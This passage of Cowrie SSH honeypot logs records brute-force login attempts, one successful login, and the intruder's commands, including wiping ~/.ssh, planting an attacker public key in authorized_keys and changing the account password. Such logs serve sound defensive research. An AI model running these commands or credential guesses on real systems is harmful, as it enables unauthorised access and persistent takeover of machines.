r","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:49.391529Z","src_ip":"141.11.88.14","session":"1151591d23e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":51444,"dst_ip":"159.203.135.109","dst_port":22,"session":"3411196bbada","protocol":"ssh","message":"New connection: 211.253.37.225:51444 (159.203.135.109:22) [session: 3411196bbada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:49.751677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:49.755672Z","src_ip":"211.253.37.225","session":"3411196bbada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:50.023456Z","src_ip":"211.253.37.225","session":"3411196bbada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"noah","password":"noah","message":"login attempt [noah/noah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:50.900858Z","src_ip":"141.11.88.14","session":"1151591d23e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"french","password":"french","message":"login attempt [french/french] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:51.021226Z","src_ip":"211.253.37.225","session":"3411196bbada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:52.165743Z","src_ip":"141.11.88.14","session":"1151591d23e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:52.274484Z","src_ip":"211.253.37.225","session":"3411196bbada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":37284,"dst_ip":"10.17.0.5","dst_port":22,"session":"8efcd59bd62b","protocol":"ssh","message":"New connection: 103.143.231.24:37284 (10.17.0.5:22) [session: 8efcd59bd62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.097557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.101812Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.171818Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2023","message":"login attempt [admin/admin@2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.484980Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.672503Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.675733Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.679312Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56504,"dst_ip":"10.17.0.5","dst_port":22,"session":"97c8b39215f3","protocol":"ssh","message":"New connection: 141.11.88.14:56504 (10.17.0.5:22) [session: 97c8b39215f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.778858Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.821396Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.957477Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:56.960788Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:57.036505Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:57.039863Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":37300,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a4dcef94457","protocol":"ssh","message":"New connection: 103.143.231.24:37300 (10.17.0.5:22) [session: 7a4dcef94457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:57.102554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:57.107177Z","src_ip":"103.143.231.24","session":"7a4dcef94457","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:57.111509Z","src_ip":"141.11.88.14","session":"97c8b39215f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:57.114413Z","src_ip":"141.11.88.14","session":"97c8b39215f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:57.177109Z","src_ip":"103.143.231.24","session":"7a4dcef94457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:57.491035Z","src_ip":"103.143.231.24","session":"7a4dcef94457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peter","password":"peter","message":"login attempt [peter/peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:58.150422Z","src_ip":"141.11.88.14","session":"97c8b39215f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:58.565963Z","src_ip":"103.143.231.24","session":"7a4dcef94457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":37308,"dst_ip":"10.17.0.5","dst_port":22,"session":"92d0ff74b712","protocol":"ssh","message":"New connection: 103.143.231.24:37308 (10.17.0.5:22) [session: 92d0ff74b712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:58.633115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:58.637725Z","src_ip":"103.143.231.24","session":"92d0ff74b712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:58.707651Z","src_ip":"103.143.231.24","session":"92d0ff74b712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:59.035157Z","src_ip":"103.143.231.24","session":"92d0ff74b712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:59.264499Z","src_ip":"141.11.88.14","session":"97c8b39215f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.108550Z","src_ip":"103.143.231.24","session":"92d0ff74b712","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.236628Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.242366Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.385539Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.514213Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2023\\nPCLr7OyE0Vfo\\nPCLr7OyE0Vfo\"|passwd|bash","message":"CMD: echo -e \"admin@2023\\nPCLr7OyE0Vfo\\nPCLr7OyE0Vfo\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.517667Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.521495Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.524412Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4bf051587761a415adee3a6cc304521732e97f790fde0f475c31f33603925bdc","size":32,"shasum":"4bf051587761a415adee3a6cc304521732e97f790fde0f475c31f33603925bdc","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4bf051587761a415adee3a6cc304521732e97f790fde0f475c31f33603925bdc after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.671511Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.796738Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2023\\nPCLr7OyE0Vfo\\nPCLr7OyE0Vfo\\n\"|passwd","message":"CMD: echo \"admin@2023\\nPCLr7OyE0Vfo\\nPCLr7OyE0Vfo\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.800322Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/65190b88100ff713459d003383386b8fc63c8c300f1bb082be63551e73b4be15","size":25,"shasum":"65190b88100ff713459d003383386b8fc63c8c300f1bb082be63551e73b4be15","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/65190b88100ff713459d003383386b8fc63c8c300f1bb082be63551e73b4be15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:00.942900Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.060889Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.064065Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.206815Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
